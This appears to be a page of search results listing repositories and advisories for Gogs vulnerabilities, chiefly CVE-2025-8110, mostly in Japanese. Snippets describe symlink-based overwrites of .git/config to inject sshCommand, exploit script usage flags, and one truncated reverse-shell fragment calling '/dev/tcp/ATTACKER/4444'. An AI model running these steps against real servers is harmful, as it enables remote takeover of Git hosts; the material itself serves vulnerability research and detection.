1316 matches found
CVE-2025-8110-Gogs-RCE-Exploit
Gogs CVE-2025-8110 RCEエクスプロイト GogsのCVE-2025-8110 に対する自動化されたPythonエクスプロイトです。この脆弱性は、PutContents APIがファイルパスがシンボリックリンクかどうかを検証しないことを悪用して、リモートコード実行（RCE）を可能にします。シンボリックリンクを介して内部の.git/configファイルを上書きすることで、悪意のあるsshCommandを注入し、リバースシェルをトリガーします。 🛠️ 前提条件 Python 3と必要な依存関係がインストールされていることを確認してください： pip install...
Gogs <0.12.6 - Remote Command Execution
Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. id...
-CVE-2024-39930
CVE-2024-39930 Gogs 攻撃下：重大なSSH脆弱性（CVE-2024–39930）の解明...
gogs-CVE-2025-8110
Gogs CVE-2025-8110 PoC このリポジトリには、Gogs におけるリモートコード実行 RCE の脆弱性である CVE-2025-8110 の Proof of Concept PoC が含まれています。このエクスプロイトは内部 SSH サーバーの実装を標的としており、攻撃者が sshCommand 設定を介して悪意のあるコマンドを注入できるようにします。 使い方 エクスプロイトを実行するには、CVE-2025-8110.py スクリプトをターゲットの Gogs URL とリバースシェル用の待ち受けホスト/ポートとともに使用します。 python3...
CVE-2025-81110-PoC
CVE-2025-81110-PoC GogsのPutContents APIにおけるシンボリックリンクの不適切な処理により、ローカルでのコード実行が可能になります。 このリポジトリには、Gogs 0.13.0未満のバージョンにおける重大な脆弱性に対するプロフェッショナルグレードのエクスプロイトが含まれています。このエクスプロイトは、リポジトリの内容を更新する際にGogs...
CVE-2025-8110
CVE-2025-8110 Gogs の PutContents API における不適切なシンボリックリンク処理により、ローカルコード実行が可能です。 この検出方法はどのように動作しますか？ /user/login のフッターから正規表現 Gogs Version: X.X.X で Gogs バージョンを抽出し、バージョン 0.13.3 以前を実行しているインスタンスを CVE-2025-8110 の脆弱性ありとしてフラグ付けします。 このスクリプトを実行するには？ 1. Nuclei をダウンロードしてインストールします。 2. このリポジトリをローカルシステムにクローンします。 3...
CVE-2026-52806
Gogs RCE — git rebase における引数インジェクション CWE-88 プルリクエストのマージフローにおける引数インジェクションを介した、Gogs という名前のブランチは、位置引数ではなく Git によって --exec フラグとして解析され、リベース中に再生された各コミットの後に sh -c が実行されます。 エクスプロイトの仕組み 1. 事前確認 Pre-flight — ターゲットが Gogs を実行しているか判定し、静的アセットの ?v= パラメータでバージョンを特定し、ユーザー登録がオープンか、CAPTCHA 保護付きか、無効かを確認します。 2. 認証 —...
CVE-2025-8110-gogs-poc
CVE-2025-8110 — Gogs 任意ファイル書き込み PoC Gogs における認証済み任意ファイル書き込みの概念実証です。 リポジトリの外部を指すシンボリックリンクを含むリポジトリをプッシュし、そのリンクの内容を API 経由で更新すると、 認証済みユーザーは Gogs を実行しているアカウントの権限でホスト上のファイルを上書きできます。 許可されたテストおよび教育目的に限ります。 自分が所有するシステム、または明示的な書面によるテスト許可を得た システムに対してのみ実行してください。使用方法については、あなた自身に責任があります。 仕組み 1. 既存のアカウントで Gogs...
cve-2025-8110-GOGS-RCE
GOGS RCE cve-2025-8110 Gogs は軽量でセルフホスト可能な Git サービスであり、GitHub のプライベート版に似ています。低リソースのサーバーでも簡単に動作するように設計されています。CVE-2025-8110 の脆弱性は、シンボリックリンクを使用することでパス制限を回避できる重大なセキュリティ欠陥です。攻撃者は .api/config を指す悪意のあるリンクをアップロードすることで、gogs API を利用して sshCommand パラメータを含む悪意のある設定ファイルを埋め込み、ホストサーバー上で RCE を達成できます。 使用方法 1...
CVE-2026-24135
CVE-2026-24135: WikiパストラバーサルによるGogsの任意ファイル削除 重大度: 高 CVSS 7.5 影響を受けるソフトウェア: Gogs 修正バージョン: 0.13.4, 0.14.0+dev 勧告: GHSA-jp7c-wj6q-3qf2 パッチ: gogs/gogs8099 概要 Gogs（Goで書かれた人気のセルフホスト型Gitサービス）のセキュリティ監査中に、updateWikiPage 関数にパストラバーサル脆弱性を発見しました。これにより、wiki書き込み権限を持つ認証済みユーザーが、wiki編集フォームの oldtitle...
CVE-2025-8110
CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' Cleanup the exploit repo after use python3 CVE-2025-8110.py --url http://target:...
CVE-2025-8110
CVE-2025-8110 — Gogs シンボリックリンクトラバーサル → RCE 概要 CVE-2025-8110 は、Gogs（セルフホスト型 Git サービス）のバージョン 0.13.3 以下 における深刻な脆弱性です。PutContents API はディレクトリトラバーサル ../ に対してファイルパスを検証しますが、書き込み前にシンボリックリンクを解決しません 。認証済みユーザーが任意のサーバーファイルをターゲットにしたシンボリックリンクを含むコミットをプッシュし、そのシンボリックリンクに対して PutContents...
gogs
👉 DigitalOceanにデプロイして、$200の無料クレジットを入手！ 🔮 ビジョン Gogs /gɑgz/ プロジェクトは、最も簡単な方法でセットアップできる、シンプルで安定した拡張可能なセルフホスト型Gitサービスを構築することを目指しています。Goを使用することで、Linux、macOS、Windows、ARMベースのシステムを含む、Goがサポートするすべてのプラットフォームで独立したバイナリ配布を実現できます。 📡 概要 ユーザードキュメントはホームページをご覧ください。 各リリースの変更点はCHANGELOG.mdを参照してください。...
CVE-2025-8110
RCE - CVE-2025-59528 Gogs 0.13.3 以下 エクスプロイト $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g., http://127.0.0.1:3000 -lh...
CVE-2025-8110-Gogs-Remote-Code-Execution
影響を受けるソフトウェア: Gogs セルフホスト型Gitサービス バージョン0.13.0未満。 脆弱性の種類: Gitフックメカニズムにおけるコマンドインジェクション。 説明: リポジトリへのプッシュアクセス権を持つ攻撃者は、悪意のあるGitフックを作成し、post-receiveフックスクリプトにコマンドを注入することで、Gogsサーバー上でリモートコード実行を引き起こす可能性があります。...
CVE-2025-8110
CVE-2025-8110 — Gogs RCE PoC（Silentium / HackTheBox） 免責事項: このツールは、教育目的および許可を得たペネトレーションテスト専用に意図されています。明示的なテスト許可を得たシステムに対してのみ使用してください。 これは zAbuQasem/gogs-CVE-2025-8110 の修正版であり、HackTheBox の Silentium マシンに対して動作するように適合させたものです。元の PoC は、Silentium 固有の Gogs 設定と認証フローに対応するための調整が必要でした。 脆弱性 CVE-2025-8110...
CVE-2025-8110
Gogs 任意ファイル書き込みによるRCE CVE-2025-8110 - 教育目的のエクスプロイト このリポジトリには、セルフホスト型GitサービスGogs （バージョン0.13.3以前）に登録されているCVE-2025-8110 の脆弱性を実証・分析するためのPython製の概念実証（PoC）スクリプトが含まれています。 ⚠️ 免責事項（Disclaimer） !WARNING 本ソフトウェアは、教育およびセキュリティ研究の目的でのみ提供されます。...
Gogs <= 0.13.3 - Remote Code Execution
Gogs self-hosted Git service versions 0.13.3 and earlier contain a critical symlink bypass vulnerability that circumvents the fix for CVE-2024-55947. Authenticated users can exploit improper symbolic link handling in the PutContents API to overwrite files outside the repository by committing a...
CVE-2025-8110-Silentium-HTB
CVE-2025-8110 — PoC de RCE en Gogs Silentium / HackTheBox Aviso: Esta herramienta está destinada exclusivamente a fines educativos y pruebas de penetración autorizadas. Úsela solo contra sistemas en los que tenga permiso explícito para probar. Esta es una versión modificada de...
